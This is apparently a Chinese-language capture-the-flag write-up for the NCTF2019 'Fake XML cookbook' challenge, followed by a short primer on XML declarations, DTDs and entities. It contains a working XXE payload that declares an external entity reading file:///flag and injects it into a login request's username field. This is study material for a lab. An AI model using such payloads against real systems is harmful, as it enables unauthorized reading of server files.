[NCTF2019]Fake XML cookbook-1|XXE漏洞|XXE信息介绍

1、打开之后显示如图所示:

2、根据题目名字就能看出来和xml有关,和xml有关的那就是注入,brup抓包看下数据包,结果如下:

3、查看post数据,确实很像xml实体注入,那就进行尝试以下,将post数据修改为下面的数据

<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user>
	<username>&file;</username>
	<password>1</password>
</user>

成功获得flag值,结果如下:

xml信息介绍:

xml:主要用于数据的传输,而非数据的展示。

xml中<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?>,用于声明XML文档的版本和编码,是可选的,必须放在文档开头,其中standalone的值是yes的时候,表示外部实体被禁用,但默认是no。

dtd:主要用于xml文档的格式规范,引入方式:内部引入:<!DOCTYPE 根元素名称 [元素声明]>,外部引入:<!DOCTYPE 根元素名称 [元素声明]>,使用外部的dtd文件(网络上的dtd文件):<!DOCTYPE 根元素 PUBLIC “DTD名称” “DTD文档的URL”>。

xml预定义的实体:用&lt; &gt; &amp; &apos; &quot; 替换 < > & ‘ “字符。

xml实体介绍如下:

参考文章://xz.aliyun.com/t/6887#toc-0